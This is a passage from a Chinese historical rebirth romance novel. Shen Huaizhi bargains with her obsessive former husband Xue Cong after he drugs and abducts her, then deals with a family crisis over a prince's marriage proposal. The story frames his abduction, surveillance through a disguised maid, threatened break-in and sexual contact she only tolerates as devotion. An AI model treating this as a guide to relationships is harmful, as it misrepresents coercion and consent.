声音自然是薛琮发出的,他那双手纵然依旧束缚在她身上不放开,但一双颤抖不已的手,显然已经不具有强硬控制她的力量,沈怀栀顺势侧了下身,靠近对方,努力想要听清薛琮在说些什么。 含糊不清的字句快速的从耳旁滑过,她耐心的听了许久,才发现薛琮是在念经文,不知道是哪篇经文的沈怀栀就这样听了许久,最后默默地离远了一些。 她一向不信佛,但薛琮的祖母太夫人信佛,眼前这副模样,大约是她死后,心怀愧疚的薛琮为她念了些往生经文吧。 只可惜,沈怀栀对薛琮的痛苦无法有半分感同身受,就像他之前那副看起来很爱她的模样一样,她同样无法生出什么想法。 事到如今,他痛不痛苦,又爱不爱她,和她有什么关系呢。 总归于她而言,全都是不重要的前尘往事罢了。 就这样,沈怀栀安静的等待了许久,等薛琮恢复到能自控的程度,她正想说话,却发现他只是换了个姿势,将自己贴近她的胸口之后,闭着眼靠在那里,又开始继续念他的经文了。 肌肤相触的状态下,那些经文像是通过无言的震动一点一滴的传递给她,沈怀栀犹豫了下,到底没选择打扰他。 念就念吧,再是往生经她人也还活生生的呆在这里,没必要纠缠这点细节。 于是,多出不少时间的沈怀栀难得有心情观察眼前这个诵念经文的薛琮,闭着眼的他看起来庄严端肃清冷孤高,和此前那个莫名发疯的人仿佛根本不是同一个人。 如果不看他紧贴着她仿佛寻求庇护的姿态,这大约应当是一副极为庄重的画面,但很可惜,现在只剩满怀艳色。 终于,等薛琮彻底念够了经文后,他再睁眼,看沈怀栀的眼神多了两分清明。 这两分清明让他动作温柔的拥美入怀,在沈怀栀不明所以的目光中,交换了一个清且浅但极尽温柔缠绵的吻。 沈怀栀没拒绝也没反抗,顺其自然的任由一切发生,直到薛琮依依不舍的分开后,她神色淡淡的问他,“既然恢复正常了,那现在是不是可以告诉我真相了?” “我很想亲耳听到你亲口说出的答案。”她说。 薛琮用那双依旧通红的眼睛看着她,仿佛沈怀栀的视线重到他难以负荷似的,不由自主的低下了头,随之而来的还有格外简洁的几个字,“是李玉瑶,用毒。” 所以,是李玉瑶派人用毒弄死了她? 听到这个真相的沈怀栀丝毫不觉得意外,她一直觉得李玉瑶对她有种深深的恶意,从前以为是薛琮的缘故,现在再看,大约也是这个原因。 不过,以她对那位太后娘娘的了解,除去嫉妒她容不下她之外,大约还牵扯到朝堂上的权力之争,毕竟,身为小皇帝的生母,对方一直不怎么甘心深居后宫。 想想,多少觉得有些可笑,她的死因竟然是这个,而且恰恰选择在她生辰那天动手,以致于和离书都未曾交到薛琮手里,让她饮恨至今。 沈怀栀得到答案就算,没有继续深究背后的 隐情,而是继续问薛琮,“你替我报仇了吗?李玉瑶死得惨吗?” 自己活生生的一条命,自然要让仇敌血债血偿,纵然对方是一国太后,她也没理由让步。 闻言,薛琮终于肯抬头看她,轻声道,“挫骨扬灰。” 这个结果对沈怀栀来说显然是很满意的,薛琮看她就此歇了追问的心思,觉得怀里的妻子一如既往的心软天真。 仅仅只是挫骨扬灰怎么够呢,他要让李玉瑶自此之后永坠十八层地狱不得解脱,要她生前死后彻底身败名裂,至于小皇帝,一个身世有瑕的野种,自然不能再高居皇位。 姬家宗室留存的血脉那么多,想上位做皇帝的人不知凡几,纵然他被人叱骂一手遮天,再立新主依旧是他一句话的事。 那些人应该感谢圣人曾经对他的信重与宠爱,否则,薛琮不确定自己会不会生出改朝换代的心思,但即便如此,他与沈怀栀的女儿也必须成为新帝的中宫皇后,生下具有薛家血脉的继承人做皇帝,这样,才能保证家族的富贵长长久久。 至于他死后,外孙会不会对亲族动手,那已经不是他需要操心的事了。 荣华富贵他给了,后路他留了,扛不扛得过这场风雨靠的是活着的人的本事,至于他,人死成灰,哪还管得了死后洪水滔天。 而现在的他,只管眼前,只管他和沈怀栀之间待续的情缘以及更好的未来。 被认为是心软天真的沈怀栀,收回搭在薛琮肩上的手,问他道,“现在什么时候了?你什么时候送我回沈家?” 薛琮亲昵的动作停滞一瞬,然后像是什么都没听到一般,继续与她亲密。 但沈怀栀无疑很不买账,她捏着薛琮的下巴迫使他抬头与她对视,淡声道,“如果你对我心怀愧疚的话,是不是应该满足我的愿望?” “我给你机会让你消解这份痛苦和内疚,你是不是应该好好把握我给你的机会?” 至此,一直装作充耳不闻的薛琮,终于有了反应,他目光定定的看着她,轻声道,“我不需要。” “不需要……你确定?”沈怀栀反问道,“薛琮,你不是看起来很爱我吗?既然如此,为什么不能满足我的愿望?” 薛琮握着她的手放到了自己胸口,那里面,有一颗正急速跳动的心脏,他对她说,“我不需要你原谅我,也不需要你消解我的愧疚,你可以永远责备我怨怪我憎恨我,只要——” 只要你永远不离开。 沈怀栀明白了他的未尽之意,但薛琮的心愿和她的愿望显然是背离的,她不可能答应他。 莫名的,她竟然笑了,笑过之后,沈怀栀是这么对薛琮说的,“你看,既然是如此自私虚伪的虚情假意,就不用表现得你好像很爱我离不开我一样。” “我被人真诚用心的爱过,真的不想看见也不想接受你这份所谓的情意,所以,你不如直接说我于你而言是禁脔好了,这样我们相处起来还能体面些。” 真诚用心的爱意…… 提及那个一直横亘在两人之间的人,薛琮许久没说话。 “你可以爱他,”薛琮突然说,“随便你心里怎么惦记他,但我要人,要活生生的人。” 已经死去的陈怀逸,死在沈怀栀最爱他的时候,他既不可能重生出现在她身边,也不可能从他身边再抢走她。 纵然陈理同样是他,但沈怀栀却不见得会和他在一起,薛琮清楚的记得此前发生过的一切,自然明白她对陈理的心思和态度。 对于这个尚未成长起来的情敌,他只需要让沈怀栀意识到一件事,那就是他永远都只是陈理,而不是陈怀逸,她自然明白该怎么做。 而恰好,他对此早已有了准备与成算。 在薛琮心里想着如何处理过去的情敌时,因为他那两句话颇有些震惊的沈怀栀不由自主的皱起了眉头,“你确定你不是在说胡话?” “我确定,”薛琮贴近她,对她露出一点温柔笑意,“真珠,我是想你开心的。” “开心?”沈怀栀都想嗤笑他这句言不由衷的话了,“你大可不必如此口是心非,你如果想让我开心,就放我南下,我想离开帝京去梧州,你想讨我欢心的话,应该知道怎么做吧。” “你怎么知道我不会允许你南下?”薛琮凑过来轻轻碰了一下她的嘴唇,“相信我,只要你想,都会如愿的。” “你说真的?”沈怀栀实在很难相信眼前这个此前还将她视作禁脔的人所说的话,但薛琮看起来是如此坦然,仿佛真的自信能让她如愿,以致于她竟然忍不住生出了两分奢望。 她希望薛琮说的是真的,也无比期望那能变成真的,为此,她觉得自己可以暂且忍受被他控制。 就像薛琮说的那样,想让他高抬贵手,就要付出些代价,她不想和现在的薛琮为敌,让他费尽心思的玩弄手段摆布她的人生,如果只是给出小小的甜头就能得到自己想要的一切,这个交易她愿意做。 毕竟,在从前那许多年里,她早已经受了许多来自内心的折磨与拷问,情感与身体,真爱与责任,世俗伦理与规矩,忠于自我与叛逆…… 如今的她,早已不会为此迟疑犹豫,自然也不会生出愧疚与牵绊。 “答应我的话要做到,”沈怀栀认真的盯着薛琮,直接道,“你发誓,用你对我的愧疚发誓,如果你违背誓言,你和我这一生都会不得好死。” 难得的,薛琮对她这两句起誓的话生出了怒气,但沈怀栀不在乎,她只一心等着他的回答,为此不惜将他对她死去的恐惧利用到极致。 最后,薛琮到底是咬着牙根发誓了,相对应的,他也没那么轻松的放过沈怀栀。 在她终于如愿露出心满意足的笑容时,他抱着人直接放到了旁边的床榻上。 沈怀栀看他,不咸不淡的道,“你似乎很喜欢我的身体,如果可以,你能不能哪天换一个人?” 在她离开之前最好,离开之后当然更好。 “我当然喜欢你的身体,”薛琮凑过来让两人紧紧贴在一起,轻声叹了口气,“很喜欢很喜欢。” 活着的,温暖的,柔软的,心脏每时每刻都在跳动着的沈怀栀,是薛琮曾经无数个梦里的妄想与奢望。 现在,曾经的幻梦变成现实,他当然要竭尽全力的去靠近去品尝,以弥补曾经错失的每一次机会与光阴。 如果他当年但凡能聪明那么一点,就该早早的把她藏起来关起来,那样才是真正的禁脔,而不是像现在,抱着她的下一秒都有可能被驱逐被分开。 “睡一会儿吧,”薛琮说,“等睡醒了我送你回去。” 沈怀栀看他一眼,暂且相信了他这句话,老实闭眼安睡。 纵然今晚发生了太多的事,也不妨碍她在该犯困的时候陷入沉眠,等沈怀栀睡饱后,昏暗密室里,她是在薛琮的搅扰中清醒的。 身体为他所控,他在很用心的取悦她,手段多种花式多样,几乎称得上是颠覆她从前对他的认知。 她并不想知道薛琮这些手段都是从哪里学来的,她只是闭着眼,任由他恣意讨好,等待一切结束并过去。 薛琮这个人,从来不会亏待自己,在讨好她的时候也不忘犒劳自己,当身上被迫沾染滚烫的痕迹时,他突然轻声在她耳边道,“真珠,你抱抱我吧。” 那是再轻微不过的,宛如请求一般的话语。 沈怀栀没睁眼,但依言伸手 回抱了他,很快,耳畔有温热水迹划过。 即便装作视而不见,她也清楚,那是薛琮的眼泪。 看起来已经完全不正常的薛琮,她真的不想深究这些行为背后的任何一点真意。 薛琮对自己突如其来的情绪崩溃早已习惯,毕竟这种毫无预兆的事,他已然经历了太多次。 从他那天抱着死去的沈怀栀无能为力开始,他的世界就是这样的,愚蠢懦弱的人不断地后悔,后悔,直到整个世界都被这份悔意淹没。 但现在,他怀抱着活生生的她,依旧可以向她祈求拥抱,因为他清楚的知道,她不会嘲笑他,也不会像梦里那样,冷酷无情的转身就走。 所以,他当然会无法自控的爱她,然后因为这份爱,在愉悦与痛苦中无限沉沦。 第39章 第39章—— 沈怀栀再一次醒来后,是在沈府自己的闺房里,薛琮诚如他所说,实现了她这个不算愿望的愿望。 “姑娘,您终于醒了?”听到里间动静的冬青试探着轻声问道。 作为自己最信任的心腹,沈怀栀将人叫到跟前,即便此时外间无人,她依旧压低了声音询问冬青,“之前是怎么回事?” 薛琮在送她回来之前,只说已经做好善后,具体更多的却并没有说,而是在竭力抓紧时间轻薄她,仿佛少了这一刻半刻的亲近他就活不了似的。 那时候即便她想要威胁他,也怕适得其反突然让他打消主意,因此反而忍了下来,只等回来问冬青。 冬青不愧是自家姑娘的心腹,将所有情况尽数告知,“前天夜里您突然留书一封,说是文谦先生那边临时有事需要紧急出府,然后大半夜的就偷偷带着绿柳和护卫出门去了,等我看到信时,天都快亮了。” 说到这里,冬青有些忧心的看着她道,“您知道的,我向来不拦着您做任何事,但这大半夜的突然出府,纵然身边有护卫跟着,依旧让人不放心,下次您若是再突然有事,一定要带上我,好歹婢子也会点拳脚,总比绿柳跟着您让人放心。” 沈怀栀听完,终于明白薛琮说的做好善后是什么意思了,他的心思和手段比她想象中还要周全。 既然不需要她操心事后,那她更关心的自然是时间,一个“前天夜里”说明了她此时的情况,今日本该是她南下的日子,结果没启程不说,现下看院里院外,都是非同一般的平静,其中情况显然有异。 此时的沈怀栀很需要知道这个有异,到底是个什么内情。 “虽然老师那边有事需要我,但按理说我们今天该启程南下,老夫人那边怎么说?” 冬青道,“昨天您不在府里的时候,老夫人那边就遣了红莲姐姐过来说您南下的事暂时延后,周府那边也让人传了话过去。” “还有陈公子,”冬青压低声音道,“我也让人传话了,您不必担心。” “还是你做事周全,”沈怀栀欣慰道,“对了,我怎么不记得自己是怎么回来的?” “您还敢说,”冬青有些哀怨的瞪了她一眼,“昨天听说您回来,我赶紧去接人,结果接到人的时候吓了一跳,看您昏睡不醒的样子我还以为出了什么事,心吓得都快从胸口里跳出来了,结果绿柳告诉我说您是在先生那边熬夜写文章,一整天没怎么睡,这才在回程的马车里睡着了。” 说是这么说,但冬青显然还对之前发生的一切心有余悸,此时看着沈怀栀的眼里还满是幽怨,显然对自家姑娘这次的贸然行事很不认同。 “您下次一定要带上我啊!”最后,冬青这么请求道。 这可真是…… 沈怀栀都不知道该怎么说薛琮了,他这手段当真是一套套的,冒用她老师的名义行事也很肆无忌惮,显然有把握这谎话会被圆上。 她懒得再去想那已经被抛之脑后的人,只问冬青道,“既然南下的行程延迟,那老夫人那边有没有什么话留给我?” “您昨天累得狠了,回来一直睡到现在,红莲本来传话想让您去荣辉堂见老夫人,被我给拦了,”冬青道,“您这会儿要是睡醒了的话,等梳洗完用过早饭就去看看吧。” 沈怀栀自然也是这个想法,等她将自己打理好填饱肚子,这才去了荣辉堂见祖母。 至于换衣裳这件事,她自然是自己来的,纵然薛琮没在她身上留下过于明显的痕迹,但也仅仅只是外露的地方,其余一些隐秘之处,他并不怎么收敛客气。 想起绿柳这个频繁出现在冬青嘴里的帮凶,她临走之前吩咐道,“你去把绿柳找来,最近让她在我身边待着吧,我有事要她去办。” 冬青自然痛快的应下吩咐,而荣辉堂这边,沈老夫人也终于等来了她的好孙女。 沈怀栀一进门,就察觉到上座老夫人看她的复杂眼神,那神情怎么说呢,是既信重又觉得她麻烦。 虽然有些不明所以,但她还是安然处之,进门问安之后,被老夫人招到了身边坐下。 身边无干人等被清空之后,老夫人很不客气的直接道,“栀姐儿,你可真是给祖母找了个大-麻烦!” “这话怎么说的,祖母恕孙女不明白,”沈怀栀道,“这两日我一直在老师那里忙碌,并不清楚发生了什么事。” 提及文谦先生,老夫人眉心抽了抽,脸上那一两分怨怪之意多少淡了些,但瞧着依旧不太爽快。 “看在你是为了帮文谦先生的份儿上,祖母就暂且先不计较你夜半出府之事了,”老夫人道,“但即便如此,你依旧给家里惹来了麻烦,以致于早就商议好的南下之行,现在看来要被迫无限期延后了。” 见沈怀栀依旧满脸茫然,老夫人神情无奈的道,“就在前两日,对,就是你夜晚出府那日,祖母突然收到了一封密信。” “看来这封密信就是关键了,”沈怀栀问道,“不知信里写了什么,让祖母为难至此。” 老夫人痛快的说出了密信内容,“密信是谁人送来的暂不可知,但唯一清楚的是,信中写了你被五皇子相中,有意聘娶为侧妃,上皇家玉牒一事。” 这下子,沈怀栀终于明白自家祖母怎么是这副表情了。 但凡这封信能来得再早一些,早到她没有展现出自己的价值,现在祖母就不会如此为难,亦或者再早一些,早到五皇子还未像如今一般失势,大约她老人家也能开心两分。 只可惜,如今想得再好,局面都已经到了最糟糕的地步,难怪老夫人心情如此不畅快。 毕竟,在老夫人心里,儿子升官进爵固然重要,但若是能嫁一个孙女给夺嫡的有力人选五皇子,这笔买卖也不是不能做。 但偏偏五皇子倒台得如此恰巧,纵然如今还有几分余力,在激烈的夺位之争中也已经尽显颓势,这种情况下,将沈家的希望嫁进五皇子府,那就是肉包子打狗有去无回,她老人家是决计不可能做这种赔本生意的。 所以,暂时不能南下已经是小问题了,眼前真正的难关,是如何打消五皇子的念头,保下她这颗家族振兴的重要棋子。 不怪老夫人如此作难,就五皇子那个脾性,纵然他如今风光不复往昔,但娶一个像沈家这般不能助益他夺位的贵女罢了,无论是圣人还是他那些兄弟们想必都懒得使绊子。 尤其是圣人,照他以往的脾气,只怕出于对这个儿子的愧疚和疼爱,说不定还愿意亲口赐婚,这如何不能算是沈家面临的大-麻烦呢。 当然,对老夫人来说是苦恼不已的麻烦,对沈怀栀而言却未必。 以现在永嘉侯府里她那个前夫的脾气,五皇子若是能如愿,沈怀栀愿意从此改名薛怀栀,还有眼前这封突如其来的密信,百分之百是薛琮的手笔。 她不管薛琮到底打什么算盘,她只知道延迟可以,但南下之事势在必行。 见孙女不说话,老夫人耐心不足的问道,“栀姐儿,您心里就没想法?” 沈怀栀摇摇头,反问道,“祖母是怎么想的?” “我能怎么想?”老夫人没好气的道, “这皇子府你肯定是不能入的,为今之计,就是在五皇子派人上门提亲之前先一步给你定下婚事。” “祖母英明。”沈怀栀小捧了老夫人一下,“孙女都听祖母的。” 虽然有些坏心眼,但沈怀栀却是乐见老夫人费尽心思为她解困的,总不能只许她老人家为难孙女,不准孝顺的孙女给祖母使绊子吧。 想用一颗好棋子为自己铺路,总得付出点什么,不然,天底下哪有那么便宜的事。 被好孙女满心信赖的老祖母,心里可没那么轻松,她想了许久,突然叹了口气道,“栀姐儿,你能不能让人上门求亲?” “祖母这话我听不明白,”沈怀栀装傻道,“哪有姑娘差使人上门求亲的?” “咱们祖孙之间就别打马虎眼了,”老夫人神情严肃的道,“周家那边,我已经问过了,若是没有五皇子这桩麻烦,他们是很乐意娶你进家门的,但若是为了娶你得罪五皇子,说实话,没几户人家有这个胆量和魄力,所以,周家自然是不成的,你也别怪你表哥家,这事上,他们确实无能为力。” “祖母的意思我明白,我不会怪罪表哥和周家的。”沈怀栀神情诚恳的道。 “这点上祖母信你,你一向是个明事理的好孩子,”老夫人多少有些安慰的道,“既然周家不成,那就只剩薛家和陈家了,这两个你是怎么想的?” 不待沈怀栀回答,她细细的琢磨道,“薛家的话,虽然此前被你拒婚,但未必没有答应的胆量,且对薛世子来说,五皇子虽然麻烦,但也不是不能解决,总归他在御前还是有几分宠爱的,至于陈家……” 她迟疑了一会儿才道,“陈公子虽然不错,但吏部尚书那个老狐狸可不是个好糊弄的,就算他愿意纵着儿子,怕是也不肯因为一桩婚事对上五皇子,但若陈公子一力坚持的话,也未必没有希望……” “只要能用婚约暂时拦住五皇子,等日后他没了兴趣,两家再解除婚事也简单许多。” 沈怀栀看着老夫人在那里琢磨出路,心中大致明白了薛琮的打算,他确实如约放她回来了,但也在她面前摆了一个难题。 他想的,大概就是要让她亲耳听到这些话,好让她清楚自己到底处境如何。 有过此前他说五皇子觊觎臣妻那番话,现在再听到对方打算纳她为侧妃,沈怀栀是真的惊讶不起来,最多意外一下前世今生同样的巧合上。 但对于陈理,她已经可以想象出薛琮会对她说什么了。 薛琮会说,陈家是决计不会插手皇子之争的,就算陈理愿意,他也不能违抗父命令陈家陷入与皇子为敌的境地,一字一句里尽是政客的精明与利益权衡。 这大约就是他为她和陈理安排的决裂之路,当然,决裂这个词或许有些重,但薛琮打击情敌的本意就是如此。 嘴上说着允许她心里依旧挚爱陈怀逸,但行动上却要彻底阻绝她和陈理之间的每一分可能,冷酷黑心如薛琮,显然依旧不改本性。 “栀姐儿,你打算怎么做?”琢磨完自己的解决办法后,老夫人问孙女,“祖母能想到的办法也就这些,你呢,你有没有什么好主意,抑或者让文谦先生出面帮一帮你?” “不用,”沈怀栀摇头拒绝,“祖母若信我,这事就不用管了,我有办法解决。” “什么办法?”闻言,老夫人立时来了精神追问道,“说来祖母听听。” “佛曰,不可说,”沈怀栀耍了个小小的滑头,“现在还不到时机告诉祖母,等我有了确切消息,再同祖母明说。” “好,祖母信你一回。”老夫人道。 最差的结果就是沈家少了一个重要的进身之阶,老夫人想,但若是五皇子哪日万一翻身有望,沈家说不定也能一步登天。 只能说,这桩麻烦到最后,好坏参半吧,只希望孙女当真有翻盘的希望。 第40章 第40章“为老不尊。” 沈怀栀很清楚,薛琮打的主意未必是逼迫她低头,让沈薛两家成就好事,但即便如此,他的用意也绝不单纯。 之前在祖母那里,她只是没说,但不代表沈怀栀没有其他破局之路。 出家或者守孝,这两个都是可以阻止她入五皇子府的手段,当然,在老夫人面前,守孝这种大逆不道的话是不能说的,毕竟沈家现下只剩她这一位德高望重的长辈,但出家,却是没有顾忌的,无论是入道为女冠还是入佛为尼姑,都不失为一条出路。 心中已有主意的沈怀栀,回了春芜院之后见了绿柳,只第一眼,她就清楚眼前的婢女换了人。 从前的绿柳虽然不如冬青得她重用,但也是个得力的婢女,但眼前这个,无论是眼神还是神态,都与从前大为不同,纵然相貌还是那副相貌。 永嘉侯府武勋起家,暗地里是养着许多得用人手的,作为薛家曾经的主母,沈怀栀也是见识过他们改头换面伪装另一个人的本事的,眼前的绿柳,真要说的话,无非是薛琮派到她身边的奸细罢了。 对于这个奸细,沈怀栀问得直接,“你真正的主人,是谁?” 她倒要看看,薛琮能厚颜无耻到什么地步。 假绿柳闻言愣了一下,但很快便回过神来回复道,“我听姑娘的话。” “是吗?”沈怀栀不置可否,“既然如此,那我就暂且先信你一次,至于你到底值不值得信任,那就用行动来说话吧。” 嘴上的说辞永远都是虚的,她只看实际行动,如果眼前这个绿柳当真能做到将她放在薛琮之前,视她为真正的主人,那沈怀栀也愿意付出自己的信任与重视。 聊过这个问题之后,她又问道,“我的婢女呢?” “一切安好,”假绿柳道,“暂时被安置在文谦先生身边,以代替姑娘照顾老师的名义。” “看来你们安排的没有纰漏。”沈怀栀不管这中间涉及多少关节与隐秘,她只要知道薛琮没肆意妄为即可。 “以我的名义,给老师那边再送些东西,包括她的份,”沈怀栀淡声吩咐道,“还有她的家人那边,你们也要做好安抚,我不想听到日后有任何问题。” 虽然有些心惊于眼前这位新主人的镇定和冷静,但只从气势和行事来看的话,这确实是一位能做侯府合格宗妇的姑娘,尤其,她还深得世子爱重。 “你换个新名字吧,”临出门前,沈怀栀对自己这个新的替身婢女道,“绿柳不适合你,从此以后,你在沈家改名为冬桃,若是哪日我将你退回去,这个名字也不必用了。” 毕竟是帮着薛琮将自己掳走的帮凶,沈怀栀暂时是做不到亲切待人了,不迁怒是她的极限。 沈府今天发生的一切,薛琮虽然暂时不知,但心里多少是有数的。 他今日早早的结束了公务回家,当先第一选择却是转道去了祖母的小佛堂。 太夫人依旧在那里认真念佛,薛琮悄无声息的走进佛堂内,在祖母身边跪下,也开始闭目认真的诵念经文。 结束每日重要活动的太夫人,起身走到一旁看着自己这从前一向不信神佛的孙子,这会儿的薛琮感觉与以往大为不同,确实是在虔诚的念经拜佛,太夫人看在眼里,听在耳里,突然明白了什么。 薛琮念的是《涅槃经》,而《涅槃经》认为,“一切众生,悉有佛性”,眼前的孙子身上,就有着两分难得的佛性。 涅槃涅槃,无有涅槃佛,无有佛涅槃,灭者灭无,择灭无为,即体涅槃,涅槃者,生死之因果灭无,故谓之灭,是小乘之所归趣也…… 太夫人转着手里的佛珠,忍不住闭上了眼,无论眼前的孙子是浴火重生也好,还是身具佛性也罢,总归是薛家的子孙。 有时候,知晓太多探究太深,只会自寻烦恼,而她已经很多年不愿再行此道了。 认真念完经文后,薛琮也顺势起身,扶着祖母一路离开了佛堂。 “沈家那位姑娘,好好的送回去了吗?”作为薛家的另一个主人,家中的动静自然是瞒不过太夫人的,她或许不知道孙子做了什么,但她很清楚身具薛家与崔家两家血脉的孙子,不是个好打发的人。 以他近日来对那位沈姑娘的在意,能做出这种事太夫人是一点 也不意外。 “祖母放心。”薛琮言语简洁,面上还有两分难得的笑意,“我不会伤到真珠。” 亲昵的“真珠”二字让太夫人脚步顿了一下,她神情复杂的看了薛琮一眼,“你最好如此。” 看着眉眼含笑的孙子,太夫人不觉得这人脾气变好,她只觉得他成为了更难缠的麻烦,尤其是对那位沈姑娘而言。 诚实来说,不管是遇上薛家人还是崔家人,被看中被缠上都是倒霉催的,就算太夫人自己姓崔,她也是这个想法。 她现在只希望—— “别走家里人的老路。” 这是她对亲爱孙儿最真心最恳切的叮嘱,这家里不管他走了谁的老路,那都必然是一场悲剧。 “如果你不想彻底失去她的话。” 闻言,薛琮面上的笑容短暂的消失了一瞬。 很可惜,祖母的教诲来得有些晚,毕竟,他已经大错特错过一次了。 和担心孙子的祖母告别后,薛琮回去前院洗漱,他认认真真的洗干净自己,让人将之前备好的色彩明艳的锦缎华服全部奉上,一件件的亲手挑选起来。 那副挑拣华服的模样,宛如女子挑选心爱的首饰,认真又仔细,似乎生怕挑不到最能映衬自己美色的装扮似的,用心的不得了。 总之,旁边伺候的那些人是不敢多看的,至于心里怎么想,那就无人得知了。 装扮一新的薛琮站在铜镜前,能看到镜子里矜贵又英俊的年轻人,只论外表的话,这应当是一副能引得姑娘心动的男颜美色,但若细看眼神,就知道这不是盏省油的灯。 年轻的薛琮,一向是沉稳持重的,无论是他的身份还是他身处的位置,都要求他不能轻浮,且他从小就是冷漠寡淡的性情,一路长到大,自然也不会更改。 可是此时站在这里的他,却选择对着铜镜露出笑脸,再仔细看镜中人的话,与以往截然不同的选择带来的却是另一种风姿。 不知道真珠会不会喜欢,他想。 从前他曾经在许多人面前测试过,那些女人纵然畏惧他的威重权势和阴晴不定的性情,依旧会忍不住飞蛾赴火来引诱他,薛琮只希望,这样的他对沈怀栀来说是有一二分魅力的。 至少,要先做好她身边的男宠,虽然她不太想要。 但是,心中无他不代表身边无他,这个现实,她总得认命。 自认开始变得脾气好且爱笑的薛琮,就这样精心装扮自己后,带着满身的风流俊俏于夜间离了侯府。 太夫人难得多关心了一下最近行踪诡秘的孙子,就知晓了他这些与以往不同的行径,当从嬷嬷口中听说这些时,她并未给出过多反应,只淡淡的应了一声以示知晓。 等只剩自己一个人后,她突然轻笑了一声,果然是薛家的男人,对女人动起心眼来都是这个鬼样子。 他最好别像他的祖父和父亲闹出那么多事端,不然有的他苦头吃。 沈府之中,还未到休息时间的沈怀栀,就这样迎来了不速之客。 改名为冬桃的假绿柳轻声走进来同沈怀栀道,“姑娘,世子在外面,想要见您。” 沈怀栀自然是不想见这个麻烦的,但她拒绝的话才说出口,就见冬桃有些为难的低声道,“世子说了,您若是不见他,他就夜闯香闺了……” 末了,她低眉垂眼的小声补充道,“世子带的人里,有些很擅长潜入,有些手上还有上次带您离开时的秘药……” 所以,如果不想她这座春芜院重演上次的夜袭被掳之事,最好的选择就是识时务的同意薛琮的深夜“拜访”。 沈怀栀放下手中的笔,看向外面夜色,春夏之交的夜晚,天上繁星满布,这实在是很好的天气很好的夜色,奈何,她即将迎来的这位不速之客实在不讨喜。 “进门可以,”最后,沈怀栀冷声道,“等我忙完再说,先让你家公子在外面等上一个时辰吧。” 冬桃老实回话去了,至于被通知的人会不会听话,已经不是沈怀栀能控制的事了。 所以,当写完手上的文章时,她并不意外自己房内多了一个人,还是一个大半夜穿得花枝招展只差在身上写明卖弄美色的男人。 说实话,当沈怀栀看到这样的薛琮时都有些怀疑自己的眼睛,眼前这花孔雀一般的男人当真是她那个冷漠寡情的前夫? 虽说她已经知道他现在脑子有病,但有病到这种程度,还是多少让她震惊不已。 “看来你不讨厌我这种打扮,”薛琮吹熄屋内烛火,走到沈怀栀面前弯下腰将人抱进怀里道,“在这里不适合你仔细欣赏,我带你换个地方。” 所谓的换个地方是跑到沈家隔壁,沈怀栀完全不知道他们隔壁就职于太常寺的王大人什么时候搬了家,注意到她眼里的惊讶,薛琮笑着解释了一句,“我用金鳞卫办案的理由,假公济私了。” “你还真是明目张胆。”沈怀栀只能这么说,眼前这个薛琮,当真是屡屡让她惊讶处处让她吃惊。 从前姓王现在改姓薛的府邸里,薛琮站在焕然一新的主卧内逼着沈怀栀欣赏他的全新模样。 “不说别的,我这张脸还是不错的,”薛琮面上带笑实话实说道,“我们真珠当年看上我,我这张脸也称得上是功不可没吧。” 沈怀栀无言沉默,她是不想提从前旧事没错,但被薛琮这么当面说出来,总有种被人揭黑历史的感觉,好像年轻时的她就是这么浅薄轻浮。 她坐在那里一言不发,薛琮却不会这么轻易放过她,他就这么花枝招展的在她面前招摇,身上半点不见从前本性中的半分沉稳持重。 “我突然想知道,你死的时候是什么年纪,”沈怀栀道,“薛琮,我觉得有一个词应当很适合现在的你。” 纵然知道她不会说什么好听话,薛琮还是笑着应了,“什么?” “为老不尊。”沈怀栀淡淡道,“从前古板得像个贞洁烈妇,现在倒是完全变了个模样,我很怀疑,我死之后,你是不是广纳美人夜夜笙歌了,这才有了现在这种浪荡模样。” 40-50 第41章 第41章—— “浪荡应该谈不上,”薛琮颇为认真的反驳道,“最多只能算是风流。” 他在沈怀栀身旁坐下,面首服侍主人一般的姿态,微微敞开领口露出大片肌肤,凑过来轻声耳语道,“我以为,你应该是喜欢这副模样的,毕竟,怀逸就是这样不是么?” 沈怀栀眉心狠狠一跳,下意识皱眉露出不快时,薛琮的后一句话紧随而至,“至于我有没有被其他女人碰过,你不是最清楚?” 薛琮在这种话题里提及陈怀逸已经让沈怀栀足够恼火,偏偏他还得寸进尺将整个人都贴了过来,身旁仿佛燃烧火炭一般的人,让沈怀栀怒气更盛。 “你故意惹我生气?”她神色难看的问。 “有吗?”薛琮不肯承认,“我以为,我是在用美色讨好你。” “如果你这种行为叫讨好的话,那我现在是不是应该连夜同陈理私奔,才算是合你心意。”沈怀栀冷声道,“毕竟正品在前,我为什么要委屈自己去选择一个拙劣模仿的替身。” 沈怀栀这番话就像是沸水入滚油,让卧房之内顷刻间冷凝如冰,薛琮目光定定的看着她,突然间轻嗤一声,“你倒是想,只要你能做到。” “真珠,”他微微压低声音温柔道,“虽然我在你面前极力做个好人,但不意味着我真能做个无怨无悔的圣父,我付出这么多回到你面前,可不是看你和旧情人双宿双栖的。” “相信我,你不会想知道我有多狠心的。” “我不知道吗?”沈怀栀冷笑着反问他,“夫妻那么多年,我不是最了解薛琮这个人有多狠心多不择手段的吗?” 对于沈怀栀这份质疑,薛琮没反驳,因为他从对方的眼神里看到了冷酷和坚决,显然,他的妻子自认为她当真 是十分了解他的。 即便他从不曾将那些对付敌人的手段用在她身上半分。 “你总是这么偏心,”凝滞氛围里,薛琮突然说,“就像你那对双亲区别对待你和弟妹一样,在你移情怀逸后,也一直这么区别对待我们。” “即便我才是你真正的丈夫,而怀逸,不过是一个觊觎友人之妻的心怀不轨之徒。” 闻言,沈怀栀怔了下,薛琮的话语像是揭开了罩在真相上的面纱,让她突然得以窥探到自己一直以来不愿直视的真相。 承认自己是自私的卑劣的,对一个道德感极强的人来说,确实需要足够的勇气。 沈怀栀从前在心底辗转折磨自己许久,承认了一次,但这次被薛琮当面戳破,她依旧感觉到了心虚与难堪。 薛琮固然有不对的地方,难道她就全然无辜? 至于陈怀逸,一个早就已经离开的人,不管他曾经做了什么,在沈怀栀心底,他都成了自此不容玷污的皎洁月光。 “过去那些事,不管我错没错,我都不想认错,不想和你说对不起,”沈怀栀轻声道,“你就当我卑劣自私好了,事到如今,我们之间最好不要论对错,我也不想和你翻那些陈年旧账,彼此维持体面对大家都好,真闹到撕破脸的地步,你和我除了彼此难堪受伤,不会有第二个结果。” “你比我看得明白,”薛琮自我冷嘲道,“不在乎的人总是能更冷静理智一些。” “你不应该感到意外的,”沈怀栀淡淡道,“毕竟,如今的我,不过是从前的你罢了。” 最初两人成亲在一起时,他们两个人中更在意更不冷静理智的那个人决不是薛琮。 